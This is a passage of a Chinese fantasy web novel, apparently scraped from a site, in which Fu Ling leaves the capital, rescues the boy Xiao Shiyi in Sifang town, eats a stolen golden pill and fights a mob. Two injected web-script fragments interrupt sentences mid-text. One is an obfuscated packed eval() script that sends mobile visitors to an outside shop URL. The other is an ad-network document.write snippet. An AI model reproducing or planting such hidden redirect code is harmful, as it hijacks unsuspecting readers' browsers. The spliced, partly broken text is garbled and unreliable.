话音刚落,茯凌就听到“叮”的一声,接着关于重塑神脉的过程、细节等所有信息都一应俱全地进入到她脑子里,系统又道:「玩家查收完毕」 茯凌骂骂咧咧地走进屋子,开始动手收拾行李,又藏好从林府继承过来的地契、房契、金银财宝等,准备明天就动身去妖域祟气谷砍祟气妖灵去。 她粗略算了算,砍上六年祟气妖灵,再去阎王殿纵樾的地盘抢永夜银河,接着将永夜银河炼化成神脉,最后回京都打上尧光十二弦……这他妈没个十年确实做不来! (哔——)系统(哔——)系统(哔——) 茯凌一个没忍住就开始对系统破口大骂起来,一直辱骂到半夜三更都不解气,人躺在榻上,嘴里的脏话一刻不停。被系统多次口头警告却骂声不绝后,茯凌终于享受到一次来自系统的电击问候,这才老老实实闭嘴噤声。 可翻来覆去睡不着,心里就想起相楚澜来。 那养尊处优的金贵世子,绝不可能跟她一起去妖域祟气谷,她现在又打不过他,没法将他一棍子敲晕带走。 等她六年后回京都,他恐怕早把她忘得一干二净,到时候又得从0开始重新刷好感度。 茯凌知道自己没立场指摘相楚澜,可她辛辛苦苦攒下来的26%的好感度,眼看就要打水飘,这让她如何不气不急不上火? 这倒霉系统把她往死里坑,她可不能坐以待毙,必须想个法子,让相楚澜牢牢记她六年才行。 第二天一大早,茯凌就去玄门市场花重金买下一只千里传音鸽,然后她就抱着这只白白胖胖的鸽子去奚王府找相楚澜了。 经过血宴礼一事,茯凌在京都也算声名大噪,奚王府的护院都认识她,见她登门便赶紧进府通传,没一会儿功夫就有人过来引她去找相楚澜,见到相楚澜时,他正在院子里练习射箭,手里拉着一张红黑色的大弓,将一支细长的羽箭射入靶心,茯凌抱着鸽子不方便鼓掌,就扬声拍马道:“好箭法!真让人刮目相看、叹为观止、真心佩服!” 希望看在她夸他的份上,他能答应她接下来的请求。 相楚澜收起弓,看茯凌背着包袱,手里还抱了一只肥白圆润的鸽子,不禁问道:“这是要出远门?” 引茯凌前来的下人这时朝相楚澜简单行了个礼,接着就要退下,茯凌回头对他道了声谢谢,接着才回相楚澜道:“对,我要去外面历练、重塑神脉。” 相楚澜颇为意外地看向她:“你找到重塑神脉的方法了?” “嗯。”茯凌点点头。 相楚澜把弓放在院中石桌上,招呼茯凌坐,茯凌便挑了个顺眼的石凳坐下,继续道:“妖域有个地方叫祟气谷,只要去祟气谷斩杀祟气妖灵,每日四十九株,斩满两千两百日就可以。” 相楚澜疑道:“你这方法靠谱么?祟气谷在四方镇附近,那里虽然人、妖混居,但只有犯了事的亡命之徒才会去那里避祸,况且长时间接触祟气妖灵容易让人迷失心智,稍有不慎就会成为祟气妖灵的寄生容器。” “我会小心的。”茯凌道。她从包袱里掏出一串钥匙,递给相楚澜:“我预计要在祟气谷待六年左右,这里是我家所有钥匙,有大门钥匙、储物柜钥匙,还有藏房契地契钱财的小金库钥匙,都在这儿了。你能不能帮我保管一下?如果可以的话,最好定期请人帮我打扫一下院子,雇工的钱从我小金库里拿就行。” 相楚澜眼梢微挑:“你今天来找我就是为了要我帮你看院子?” 茯凌实话实说:“没办法,我家大业大,肯定不能都带走。在京都,我就只认识你跟沐纶两个人。是,我是对沐纶有过救命之恩,但他好歹是个皇子,哪有让皇子给我看家护院的道理?你说对吧?” 相楚澜看着她,再三确认了几遍她的眼神,见她目光澄净认真,的确是在真情实感地担心自己的万贯家财。他有些无语,但想想又觉得有合理之处,毕竟林府覆灭,只剩了她一根独苗,确实该对钱财物质上点心。又想到她在血宴礼上力挽狂澜立下大功,于是应诺下来:“好,我可以替你照看家宅和钱财。不过关于去祟气谷斩杀祟气妖灵一事,建议你还是再考虑考虑。” “不用了,我已经考虑得很清楚了,辞别你就动身。”茯凌爽快地回道,她把鸽子递去相楚澜面前,笑嘻嘻道:“这是我刚买的千里传音鸽,以后我们就通过它保持联系。” 相楚澜与那只肥鸽对视了一眼,并不认为它能飞得动千里,淡声道:“这倒不必。我们之间也没什么可联系的。” 茯凌完全没把他的话当回事,将鸽子往他面前递近些,道:“鸽子鸽子,你好好闻闻,记住这个人的气息,以后你就专门给他送信。” 接着才对相楚澜道:“我一个人在祟气谷,都没人跟我说话,万一我真被祟气妖灵迷失了心智怎么办?有这只千里传音鸽来回递话,至少你能知道我是安全的,给我看管起财物来也能尽心尽力。” 相楚澜看着她没说话,过了一会儿才轻声道:“真想好了?一定要去?” 茯凌笑道:“你今天怎么回事?我把你说得跟被我雇了的长工似的,你都不嘲讽我,这可不像你。难不成是因为听说我要去祟气谷,担心了?舍不得?” 相楚澜轻声笑了下:“舍不得倒不至于,担心……确实有一些。” 茯凌把鸽子收起来,百无禁忌地起身道:“放心吧,我福大命大,定会长命千岁。”她翻出一小袋松子扔给相楚澜,“刚在路上买的,分你一袋,我走了。” 相楚澜跟着起身:“你不去跟沐纶告个别?” “不去了。”茯凌道,“他住宫里,找他不如找你方便。” 她说完就将独角彩纹象召唤出来,飞身骑上象背,伸手把包袱挂在了大象独角上,对相楚澜道:“走啦。” 正要命令独角彩纹象飞天启程,相楚澜突然喊住她:“等会儿,有个东西要给你。” 说完他就离开院子拿东西去了,过了一会儿,他手里拿着个金色铃铛走了回来,茯凌从象背上下来,接过他递来的金色铃铛,跟上次那个一模一样,连里面的红莲业火都别无二致,茯凌提起挂铃铛的绳线,在他面前晃了晃:“这东西你到底买了多少?批发的啊?” 相楚澜无语道:“就两个,买回来是一对。这次这个再弄丢,可没有第三个了。” 茯凌道:“我没弄丢啊,是送给小乞丐了。” 说完见他脸色变了变,她忙堆起笑容:“这个这次一定好好保管。不过你送我这个干什么?用它烧祟气妖灵?” 相楚澜道:“要是遇到危险,就使劲摇这个铃铛,只要里面的红莲业火不灭,我就能感应到。” 茯凌想起来他能追踪自己的红莲业火,问他:“那我摇了,你就会立马赶来救我?” 相楚澜挺矜持地说:“也许。如果正好有空的话。” 茯凌没想到他这么有良心,默默把铃铛收好:“谢了。” 说完她脚下一点,轻松跃去了独角彩纹象后背,这时相楚澜突然想到什么,警告她道:“没事别瞎摇铃铛,如果你存心戏耍,把我当召唤兽消遣,那以后你的生死,我绝不再管。” 茯凌嘿嘿一笑:“放心,这铃铛我不摇,就图它个睹物思人的作用。要是遇到危险了,我就自己扛,不用你救。扛不过,那也是我技不如人,命该如此。” 谁知相楚澜却脸色瞬变:“林起月,别逞强!” 说完,他表情别扭不自然地看向他处,嗓音低沉了些:“刚才的话当我没说,你可以摇铃铛玩,别太过分就行。” 茯凌却没接话,只笑着冲他摇摇手:“不说了,我要走了,你可不许忘了我,更不能跟其他女人好,我们六年后见。” 说完,也不等他回应,她一声令下,独角彩纹象应声飞起。 相楚澜还欲再说什么,可她却再没有看他一眼,毫无留恋地骑着独角彩纹象飞远了,他默默看着她逐渐消失不见的背影,总觉得心里隐隐不是滋味,却又说不上来为什么会觉得不痛快。 对着她离去的方向驻足片刻后,相楚澜转身离开。 - 茯凌很满意自己现在的妖骑。 心想南荣不愧是黑纹大妖,飞起来的速度堪比她以前专司飞行的坐骑金冠九尾鸟妖,不到一炷香的功夫就来到了她此行的目的地——四方镇。 不过独角彩纹象虽然好使,她却不敢天天骑着它往返妖域,不然要是被妖域的谁发现了,往弑神刀伞无仇那儿一汇报,她的小命也就难保了——毕竟南荣原先从属噬魂楼,现在却做了她的妖骑,这样的行为在伞无仇眼里无异于叛主,对待叛徒和叛徒的“新东家”,想必伞无仇绝不会心慈手软。 正是考虑到这点,茯凌才不得不忍痛搁置主线任务六年之久,不然天天骑独角彩纹象往返京都、祟气谷两地,岂不美哉? 不过这也是没办法的事,有得就要有舍,她不纠结,刚一落地就把独角彩纹象收回妖符,紧接着就进了四方镇,准备先寻一处住所,解决完吃喝问题,才能没有后顾之忧地去祟气谷斩杀祟气妖灵。 茯凌四下逛了逛,发现四方镇比她想象中热闹一些,镇上有酒肆、客栈、瓜果铺子,连药馆、戏楼都一应俱全,看来并非如相楚澜所说、流落到这里的都是穷凶极恶之辈。她看着街上来往的人族、妖族,发现大家在这里可以井水不犯河水地共同生活,看着竟比京都更添一份祥和之气。 走了一会儿感觉有些渴,茯凌就找了家酒肆进去,酒肆生意还行,开阔的空间里摆了七、八张桌子,她扫了眼,有一桌坐了三个男性神族,一桌坐了两男两女妖族,还有一桌坐着一个女性神族、一个男性妖族。这时有店小二过来招呼她,脚步声听起来没有神族的轻盈感,应该是个人族,二十左右的年轻男性。 “客官要喝点啥?”店小二指了下挂满牌子的墙面,“本店有酒有菜,价格公道,份量十足,包您吃得满意、喝得尽兴!” 茯凌找了张桌子坐下,看着价钱牌报出三道菜一壶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493383|131701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒:“就先上这些。” “好嘞!客官稍等片刻,酒菜马上就来!” 店小二给茯凌先上了酒,她也不用碗,对着酒壶嘴就喝了一口,这时突然走进来一位穿金戴银的年轻蓝纹女妖,她身后跟着一个脸上长满皱纹的男侏儒,侏儒身高不及女妖腰迹,额头的妖纹也是蓝色的。 侏儒男妖似乎是在给年轻女妖推荐什么东西,只见他手里拿着一颗黑漆嘛乌的石头,一边把石头举过头顶,一边高声道:“老夫这颗姻缘石,能算天下所有姻缘,只需轻轻一摸,就能知道姑娘你今生缘分如何。算一次十两银子,姑娘富贵逼人,想必十两银子对姑娘来说根本不在话下。” “去你妈的!”女妖破口大骂道,“摸个石头就要十两银子,你当老娘的钱是大风刮来的?!” 她找了张桌子坐下,夸张地抖了抖手腕上那一连串的足金镯子,冲侏儒男妖横眉竖眼道:“老娘是财大气粗,但你也不能这般见钱眼开,追我追一路了,就指着我骗钱是吧?!” 侏儒男妖仍不放弃,他走到女妖面前,高高举起那颗黑色石头道:“这颗姻缘石——” “滚犊子!”金镯子女妖一把挥开侏儒男妖的胳膊,“再唧唧歪歪就把你这颗破石头敲碎了碾成粉!” 侏儒男妖手里的黑色石头被女妖一把打落,竟咕噜咕噜滚来茯凌脚下,她低头看了眼那颗平平无奇的石头,然后弯腰把它捡了起来,这时候看到一个掌柜模样的红纹男妖走到侏儒男妖面前,驱赶他道:“你个老毕登!平常拿着个破石头到处招摇撞骗也就罢了,今天竟骗到我店里来了,麻溜给我滚!“ 老侏儒双手插腰,冲掌柜的狠狠弹跳起来,怒道:“滚就滚!” 说完他扭头去找石头,发现石头正被茯凌拿在手上,于是插腰扭臀地走了过去,冲茯凌摊开手掌:“十两银子!” 茯凌低头看他,把石头放在了桌上:“别闹,我帮你捡起来而已。” 老侏儒跳起来把石头拿到手里看了看,接着就收进兜里,仰头盯着茯凌道:“你刚才摸了姻缘石,我已经看到你的姻缘批语了,不能白给你算一次姻缘卦,烦劳十两银子!” 茯凌无所谓地道:“你看到归你看到,我又没看到。你别说出来就是了,我还不爱听呢。” 老侏儒气得吹胡子瞪眼:“你这是耍赖皮!” 茯凌笑眯眯:“滚。” 老侏儒一把跳到茯凌旁边的凳子上:“我看姑娘也是个慈眉善目的好人,不如我们各退一步,我也不管你要银子了,你请我在这儿吃顿饭就成,如何?” 说完,不等茯凌回应,老侏儒就梗着脖子大声喊道:“凡人动心,太子薄情,阎王娶亲,神明入世!” 他一口气快速念完,接着哈哈笑道:“姑娘的缘分批语,老夫刚才已经念完了,你可不能耍赖,左右得请我吃一顿!” 茯凌没想到出门就遇无赖,她不想跟他纠缠,道:“你拿个碗来,我分你一碗酒喝,喝完赶紧走,再吵吵,我揍你。” 这时红纹掌柜走了过来,对茯凌道:“客官别被这老侏儒给骗了,他拿浮夷四相哄你玩呢!” “浮夷四相?”茯凌问,“那是什么?” 金镯子女妖忍不住笑道:“姑娘打哪儿来啊?连浮夷四相都不知道,就敢来这四方镇?” 茯凌不解地问道:“浮夷四相,跟四方镇有什么关系吗?浮夷不是大栎国太子吗?这四方镇是他建的?” “哈哈哈哈哈哈哈!”金镯子女妖放声笑道,“你可太逗了!大栎国太子为什么要跑来妖域建个镇子玩?这里不是妖,就是获罪的神族、人族,大栎国太子脑袋瓜出问题了才会花钱给我们建设家园。哈哈哈哈哈哈哈哈,逗死了!” 茯凌:“……” 这奇怪的笑点。 红纹掌柜向茯凌解释道,“客官有所不知,浮夷四相,说的是天地初开之际,有一远古天神,名曰浮夷。说这浮夷有四相化身,分别是人族相、神族相、妖族相,还有神明本相。浮夷身居四相,是四相的统一,不归人族、不归神族、不归妖族,却又同时是人族、是神族、是妖族,所以能在三族间不偏不倚,当个世间最公正的神。” 另一个桌子上的神族男性补充说道:“大栎国太子的名字,便是从这儿来的。” 金镯子女妖笑完讽道:“臭不要脸!以神明的名字命名自己儿子,神族狗皇帝这是想以神明之父自居!” 茯凌听得津津有味,这时红纹掌柜又对她道:“老侏儒刚才说你的姻缘批语是‘凡人动心,太子薄情,阎王娶亲,神明入世’,凡人对应人族相,太子指的是浮夷太子,对应的自然是神族相,阎王想必指代阎王殿纵樾,妖族相,再加一个神明本相,可不就是浮夷四相嘛!老侏儒拿神话故事骗你酒喝,客官可千万别上他的当!” “去去去!”老侏儒怒道,“谁骗酒喝了?姻缘石上就是这么写的!” 红纹掌柜侮辱性极强地弯腰看他:“那你倒是说说,这石头上的字为何只你一人能看见?我们怎么都看不见?” 老侏儒哼道:“你们眼瞎,怪我咯?” 他俩你一言我一句地互掐起来,茯凌兴致勃勃地看着眼前这出闹剧,心想这四方镇的妖怪可真有活力。 最终红纹掌柜凭嘴上功夫没能骂过老侏儒,于是开始动用手上功夫,只见他一把揪住老侏儒后衣襟就把他提了起来:“你个老东西!以前骗我酒喝,现在骗我客人的酒喝!你跟我杠上了是吧?!看我今天不把你扔出去!” 说着就把老侏儒给拎着扔出了酒肆,茯凌听到门外的老侏儒“哎呦”一声,接着金镯子女妖发出一连串哈哈哈哈哈,再然后安静了两秒,突然“砰”的一声巨响,外面街道似乎什么地方发生了爆炸。 紧接着就传来一道尖锐刺耳的女声:“要死喽!丧尽天良的小十一,把他师傅给炸成烟花喽!” 23. 第23章 百目金丹 茯凌耳朵一竖,小十一?是她认识的那个小十一吗? 这时酒肆里的酒客纷纷离座赶过去凑热闹,有倚在酒肆大门那儿朝外看的,有跑到街道上查看情况的,还有二三成群瞎打听的,仿佛当下没什么比看热闹更要紧,就连红纹掌柜都跑去门口冲对面喊道:“姜大娘!刘药师真被炸成烟花啦?” 他那个尾音“啦”字透露出一丝愉悦,仿佛刘药师被炸成烟花是一件多么喜庆的事,茯凌于是愈发好奇起来,她也起身走过去,看到街道对面有间包子铺,一个穿红戴绿的中年女人正站在包子铺前哭诉:“杀千刀的小十一,连个全尸都没给他师傅留!小畜牲往老刘身上撒了一把黑色药粉,老刘当场就噼里啪啦炸成豆腐花喽!” 红纹掌柜笑道:“刚还烟花呢,现在又成豆腐花了?” 街边围观群众纷纷大笑起来,金镯子女妖也爆发出一阵笑声,道:“姜大娘,你也一把年纪了,哭哭啼啼给谁看呢?刘药师被自己的徒弟炸死成豆腐花,那是他咎由自取,你一个姘头在这儿哭什么丧?” 姜大娘一手插腰,一手指着金镯子女妖就开始口沫横飞:“你个小贱蹄子!你说谁是姘头?老刘早说过要休妻娶我!我刚去刘记药铺,就是找老刘商量婚事去的!” 说到这儿,她突然又哭起来:“哪知道刚过去就看到小畜牲谋杀亲师,要不是我跑得快,他还想连我也一并杀喽!” 红纹掌柜嘲讽道:“你跟刘药师好歹也是个神族,竟被一个人族小娃娃给拿捏了。这么窝囊的事,要我都不好意思说出口,你倒好,还宣扬起来了。” “你懂什么!”姜大娘骂道,“小畜牲偷学了老刘的制毒手艺,用起毒来吓死人喽!” 金镯子女妖看热闹不嫌事大地笑道:“谁让刘药师天天割他心头血、拿他炼丹的?他把刘药师炸成烟花,合情合理,很正常。” “放屁!”姜大娘横眉竖眼,“当初老刘把小畜牲从京都掳来,就是看他骨骼清奇、血质极佳,是块炼丹的好材料。拿他炼丹才是合情合理,他杀师叛逃就是忘恩负义!” “忘恩负义?哈哈哈哈哈哈哈哈哈哈哈!”金镯子女妖放声大笑道,“姜大娘,你可太逗了!在四方镇讨生活的,哪个不是恶贯满盈?傻子才惜恩,蠢货才守义!” 茯凌听到这儿算是听明白了,相楚澜追踪到红莲业火出现在妖域,应该就是戴着金色铃铛的小十一被刘药师强行掳来所致。没想到小十一竟这般苦命,刚逃脱林昊晗的魔爪,又落入刘药师的魔窟。 毕竟两人曾经共同生活过一段时间,现在茯凌来到人生地不熟的四方镇,潜意识里就把小十一当成了老乡、当成了自己人,于是便趁着金镯子女妖和姜大娘互掐互骂的间隙,扭头问红纹掌柜道:“掌柜的,她们说的刘记药铺在哪儿?可否带我去瞧瞧?” “你去那儿干什么?”红纹掌柜奇怪道,“刘药师都被炸成豆腐脑了,你去那儿也没人给你抓药,他倒是有个儿子,但他那个儿子蠢笨如猪,毒药跟良药都分不清,别到时候给你抓错了。” 茯凌正要开口,突然街东边跑来一个年轻的蓝纹男妖,边跑边冲众人喊道:“快去看看!刘药师的儿子在赏金榜上贴告示了!八百金悬赏通缉小十一,要捉活的!” 红纹掌柜疑道:“小刘疯了?八百金?他有这么多钱吗?平时也没见他这么孝顺。” 金镯子女妖也道:“一个炼药的药童,也值八百金?小刘是不是想诓我们给他捉杀父仇人?” 跑来传信的蓝纹男妖道:“怕什么?他到时候拿不出八百金,就把他剁了喂狗!” “不好!”姜大娘突然叫道,“一定是小畜牲逃跑时顺走了老刘的百目金丹!” 听到“百目金丹”,所有人的眼睛都亮了起来,金镯子女妖更是冷笑道:“小刘这个夯货,八百金就想诓我们替他找百目金丹?” 红纹掌柜道:“小娃娃再怎么心狠手辣,说到底也只是个半大的人族小子,绝对逃不远,肯定还在四方镇。” 这时姜大娘也不为刘药师嚎丧了,突然双眼一瞪,跟打了鸡血似的大喝道:“找到小十一!拿下百目金丹!” 众人众妖乌泱泱地散开,分头行动准备猎捕小十一,茯凌虽然不知道百目金丹究竟是什么,但看大家的反应,想必肯定是个不可多得的宝贝。她迅速扫视四周,很快就锁定人群中最厉害的是红纹掌柜,于是干脆跟在红纹掌柜身后,随他快速移动,指望他能先一步找到小十一。 跟在红纹掌柜身后的除了她,还有金镯子女妖。 他们二妖一人身形疾如闪电,在四方镇快速来回穿梭,红纹掌柜很快就发现了身后的她俩,边移动边道:“跟着我也没用!百目金丹,我自要独自享用!” 金镯子女妖笑道:“那小娃娃会用毒,我来助你一臂之力!” 茯凌道:“我只要人。” 金镯子女妖道:“要人?你是个炼药师?” 这时红纹掌柜已经带她们穿遍了整个四方镇,最后他们来到毗邻四方镇的一片竹林,红纹掌柜遥遥望见竹林里穿粗布麻衣的男孩身影,笑道:“找到了!”他的身形在快速移动下被拉成一道红色的闪电,瞬间出现在小十一身前,挡住他的去路,茯凌和金镯子女妖也同时闪现在小十一身后。 红纹掌柜冲小十一伸出一只手:“把百目金丹给我,我可以饶你不死!” 小十一冷漠地看着眼前的红纹妖怪,没有感情地吐出两个字:“不给。” 金镯子女妖却扭头看向茯凌:“喂!你还没回答我,你到底是不是个炼药师?” 茯凌不愿搭理她:“与你何干?” 小十一闻言心念一动,身后传来的声音既陌生又熟悉,突然让他想起那个人。 他没抱希望地转头看去,却见心里想起的那人穿一身水蓝色衣裙,晶莹伶俐地站在那儿,她手里抱着一只雪白圆润的鸽子,正看着他若有似无地笑,说:“还不过来?” 语气是一如既往的骄傲无畏。 他想了想,最后还是转过身,一步步朝她走过去。 这时金镯子女妖刚被茯凌怼完,气得插腰骂茯凌道:“本小姐跟你说话是瞧得起你,你别不识抬举!” 红纹掌柜见小十一转身朝茯凌走去,也骂了句:“妈的快把金丹交出来!” 茯凌见红纹掌柜怒气冲冲朝小十一背影袭去,快速扬手扔出一道捆仙绳,白色的绳子瞬间就把红纹掌柜从肩膀到脚踝裹了个密不透风,红纹掌柜手脚被缚,上一秒还杀气腾腾,下一秒就像个鹌鹑似的被困在了原地,他瞪大眼睛:“这是什么东西?” 旁边金镯子女妖见红纹掌柜竟被茯凌一招制敌,后怕地倒抽了一口凉气,她料定对方是个狠角色,自己一个蓝纹小妖自然不敢再和她争夺百目金丹,于是尝试性地后退了几步,见茯凌没有反应,看样子并不关心她的去留,于是金镯子女妖转身拔腿就跑,身影快速拖成一道蓝色闪电,眨眼间就逃出竹林消失不见。 而在红纹掌柜被困、金镯子女妖跑人的时候,小十一已经走到茯凌身边,他仰头看她:“你怎么会在这儿?” 茯凌道:“我在这儿自然有我的道理。” 她见他小脸尖瘦,透着病态的煞白,脸上还有多处被溅到的血迹,心想这孩子也不知受了多少罪,于是伸手帮他擦干净脸上的血,善心大发道:“以后跟着我,给我办事,我罩你。” 小十一认真问道:“你要我给你办什么事?” 茯凌拍了下他单薄瘦弱的肩膀:“洗衣煮饭,跑腿清扫,捏肩捶背。反正都是些简单的小活,我这儿包吃包住,还给月钱,吃住都按我的标准来,绝不亏待你。怎么样?够意思吧?” 小十一眸中闪过惊疑之色:“你是专门到四方镇找仆人来的?” “当然不是。”茯凌道,“我来办点事,需要在这儿住上几年,这不刚好他乡遇故知碰见了你。这样也好,你照顾我生活起居,我保护你不受人欺,咱俩谁也不吃亏。” 趁茯凌跟小十一说话的空当儿,红纹掌柜努力想要挣脱身上的束缚,可他几次三番想要施展妖术都发现施展不出来,不仅如此,身上一圈圈的怪绳反倒越缠越紧,勒得他浑身不舒服。最后他终于认清自己成为待宰羔羊的事实,高声道:“姑娘方才说只要人,难道是骗我不成?你若不想把百目金丹给我,直说便是,何必说一套做一套!” 茯凌哼道:“我说只要人,又没说要把百目金丹给你。现在百目金丹在小十一手上,给不给你自然是他说了算,你冲我嚷嚷什么?” “你!”红纹掌柜一时哑口无言。 这时小十一从怀里掏出一个四四方方的黑色小木盒,递给茯凌道:“百目金丹,吃了可以修为大涨。” 修为大涨?那岂不是跟系统给她的灵力玉露一样?那确实是个好东西。 茯凌把小木盒拿到手里端详了下,心里已经开始垂涎起里面的金丹,但嘴上却装傻充愣道:“你给我干什么?” 小十一看破不说破地对她道:“吃了它,保护我。” 茯凌假惺惺地道:“这样不好吧?” 小十一静静看她没说话。 茯凌清了清嗓子,开始表演:“照理说,这百目金丹是你偷出来的,应该你来吃。可你偏偏是个人族,就算吃一百颗也没有修为可以大涨。我虽不爱吃这些个丹啊药的,但总不能暴殄天物。这样,金丹我就勉为其难吃一吃,但你放心,我不白拿你的,以后我给你养老送终,让你享一辈子荣华富贵,现在我有钱。” 红纹掌柜叫道:“别啊!你不爱吃就给我!我爱吃!你千万别勉为其难!” 茯凌没理他,打开黑色小木盒就把里面的金丹丢进嘴里,一边嚼一边道:“甜甜的,还怪好吃。” 见她把金丹嚼碎咽下,小十一幽幽道:“甜么?用我心头血炼成的。” 茯凌愣了下,她想起在酒肆门口听金镯子女妖提起过,说刘药师割小十一心头血炼丹,难道炼的就是这颗百目金丹? 可她吃都吃了,总不能再给吐出来。只好同情地看向小十一:“以后你就是我亲弟弟。姐姐吃了你的心头血,将来一定含辛茹苦,把你抚养长大。” 红纹掌柜见百目金丹没了,又气又恨又无奈,可没了就是没了,他只能接受事实,深深叹了一口气,接着半请求半威胁地对茯凌道:“你人也找到了,药也吃到了,就赶紧把我放了吧。你喝了我的酒,酒钱我也不跟你要了,你快把这绳子松开,不然休怪我对你不客气!” 他的语气勾起了茯凌的好奇心,她笑问道:“你准备怎么对我不客气?” 红纹掌柜哼道:“你根本不知道自己惹到了谁!告诉你!我上面有人!” 茯凌更想笑了:“你上面有谁?” 红纹掌柜骄傲道:“我舅奶奶的金兰姐妹的儿子的朋友的妹妹的小叔子的是阎王殿纵樾的亲信随春生。” 没等茯凌笑话他,小十一就率先冷笑了一声,红纹掌柜怒道:“别以为我是在骗你!你这破绳子捆得不仅是我,还有八十一狱随春生大人的颜面!” 茯凌没想到这位红纹掌柜竟是个喜剧人,她笑着扬手一挥,解开了他身上的捆仙绳,又丢给他两个碎银子:“酒钱!” 红纹掌柜把银子揣进兜里,笑道:“现在知道怕了吧?” 他话说一半,茯凌突然听到沙沙唰唰的声音,周边空气瞬间冷峭,随之而来的是浓重的杀气。茯凌立马把小十一护到身后,她警惕地看向前方,只见无数神族、妖族在她面前闪现而出,聚成了一堵厚实的人墙,他们此刻结成一派,正虎视眈眈盯着她身后的小十一,颇有黑吃黑的架势。 茯凌扬起下巴:“想以多欺少?” 对面为首的是一个身材圆润的红纹女妖,她手里握着一杆三叉戟,威严地冲茯凌喝道:“识相的就把百目金丹交出来!” 红纹掌柜惋惜道:“我说你们怎么不早来?百目金丹都被她吃了!” “什么?给吃了?!”三叉戟女妖脸色大变,怒不可遏地看向茯凌,“你哪条道上混的?懂不懂规矩?!” “规矩?”茯凌闲闲道,“你们四方镇还讲规矩呢?” 三叉戟女妖语气凶悍:“四方镇讲的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是实力,弱肉强食就是我们的规矩!你现在吃了百目金丹,要么就把我们都打趴下,要么就跪下来给我磕三个响头,以后认我当主子,供我驱使,再把你身后的小娃娃交给我去换八百金。” 茯凌挠了挠脸颊:“你们这么想要百目金丹,早干嘛去了?非等今天我来了才来抢,存心跟我过不去呢?” “你算哪根葱?谁会闲的蛋疼跟你一个无名小卒过不去?”三叉戟女妖道,“刘药师说过,等他将百目金丹炼到最高品级,自会献给四方镇最强者食用。现在刘药师死了,他的徒弟携带百目金丹出逃,我们自要杀人夺丹!” 茯凌笑道:“呦,真乖,我问什么答什么,比我养的鸽子都听话。” “贱人!竟敢拿我跟鸽子比!”三叉戟女妖怒发冲冠地上前两步,“今天我就把你剁成馅,给姜大娘做人肉包子!” 茯凌打了个哈欠,然后姿态懒散地把千里传音鸽交到小十一手上:“帮我拿会儿,我打个架。” 三叉戟女妖见茯凌完全不把她放在眼里,气道:“小姑娘,做人别这么狂!” 红纹掌柜提醒道:“别轻敌,她有个捆妖的法术,不好对付。” 三叉戟女妖语露不屑:“我修炼有成,不日就将升为黑纹大妖,难道还会怕她一个神族小姑娘?” 茯凌根本没拿三叉戟女妖当回事,她此刻已经感受到百目金丹正在温和地滋养着她体内的灵力,加上最近这段时间的潜心修炼,现在的她即便不召唤南荣,也能轻松搞定眼前这只红纹妖怪。于是冲三叉戟女妖挑衅道:“别说你现在还不是黑纹大妖,就算你已成功升纹,也未必是我对手。” “小姑娘好大的口气!”人群中有个红纹男妖道,“你这个年纪,见没见过黑纹大妖都难说,竟敢在这儿口出狂言!” “就是!”一个年轻女性神族附和道,“艳三娘,别听这丫头打嘴炮!直接跟她干!” 被称为艳三娘的三叉戟女妖于是凶神恶煞就朝茯凌攻来,只见她挥动三叉戟一跃而起,照着茯凌头顶直劈过来,三叉戟带出的红色刀光斩开空气,在茯凌头顶形成强大压力,茯凌却丝毫不避,她仰起头,在众目睽睽之下甩出一道隐秘之境,眨眼间就让气势汹汹的艳三娘凭空消失在众人眼前,她看到围观群众都不可思议地张大了嘴巴,似乎完全不敢相信眼前的一幕,于是狂放不羁地对众人众妖道:“还有不要命的,尽管放马过来,我成全他,让他跟艳三娘一样,在这个世界彻底归零!” 全场鸦雀无声,都被茯凌装到而小心翼翼地呼吸着,片刻后,有个男妖抽着凉气喃喃道:“这怎么可能……艳三娘在四方镇也算数一数二的高手,怎么会被她一招秒掉……” 另有神族道:“这……连个尸体都没留下……” 一时间,妖怪们开始窃窃私语,神族们开始打退堂鼓,说到底,四方镇本来就是恃强凌弱的地方。 小十一知道茯凌的把戏,轻声提醒她道:“你的隐秘之境关不了艳三娘多久,小心演砸了。” “怕什么。”茯凌无所谓道,“耍耍他们罢了。” 这时茯凌感觉到隐秘之境正被一股蛮力击碎,下一秒艳三娘破空而出,挥着三叉戟就朝她砍来:“小丫头耍的什么把戏?看我不砍死你!” “艳三娘!是艳三娘!她竟然没死!” “怎么回事?艳三娘为何突然消失,又突然出现?” “是障眼法!神族小丫头用障眼法耍我们玩呢!” “岂有此理!我已经开始生气了!” 在大家七嘴八舌声讨茯凌的时候,茯凌已经动作敏捷地避开了艳三娘砍来的那一刀,同时甩出一道雷符牵制住艳三娘的攻势,又画出一道长弓符,一边足尖点地、飞身跃起,一边将长弓拉满对准艳三娘,趁艳三娘施展妖术化掉雷击的时间,茯凌刷刷刷一连射出三箭,一箭被艳三娘翻身躲过,一箭射中她拿着三叉戟的手腕,另有一箭射中她左脚脚踝,艳三娘这才意识到茯凌不好对付,喊道:“都愣着看戏呢?还不一起上?!” 随着她一声令下,原先在旁作壁上观的妖族、神族迅速作出反应,大部分一拥而上朝茯凌攻来,仅有少数一些立在原地没动,这其中就有红纹掌柜。 茯凌当机立断,立刻召唤化龙,随着天地风云变色,一条黑鳞玄爪妖犄龙脱离茯凌身体而出,妖龙在电闪雷鸣下,凶悍又乖顺地盘旋在茯凌周身,额上的银白色妖纹在日光下发出耀眼炫目的光彩,竟震慑得那一群蓝纹小妖瞬间软了腿,他们屏住呼吸看着眼前震撼人心的一幕,有的牙齿开始打颤,有的呢喃“银纹,竟是银纹”,还有的直接哭出了声“妈妈呀,我见到银纹了”,不约而同的是,这些蓝纹小妖纷纷下意识跪倒,再也没有了刚才群起而攻之的气势,一个个都颤抖着匍匐在茯凌脚下。 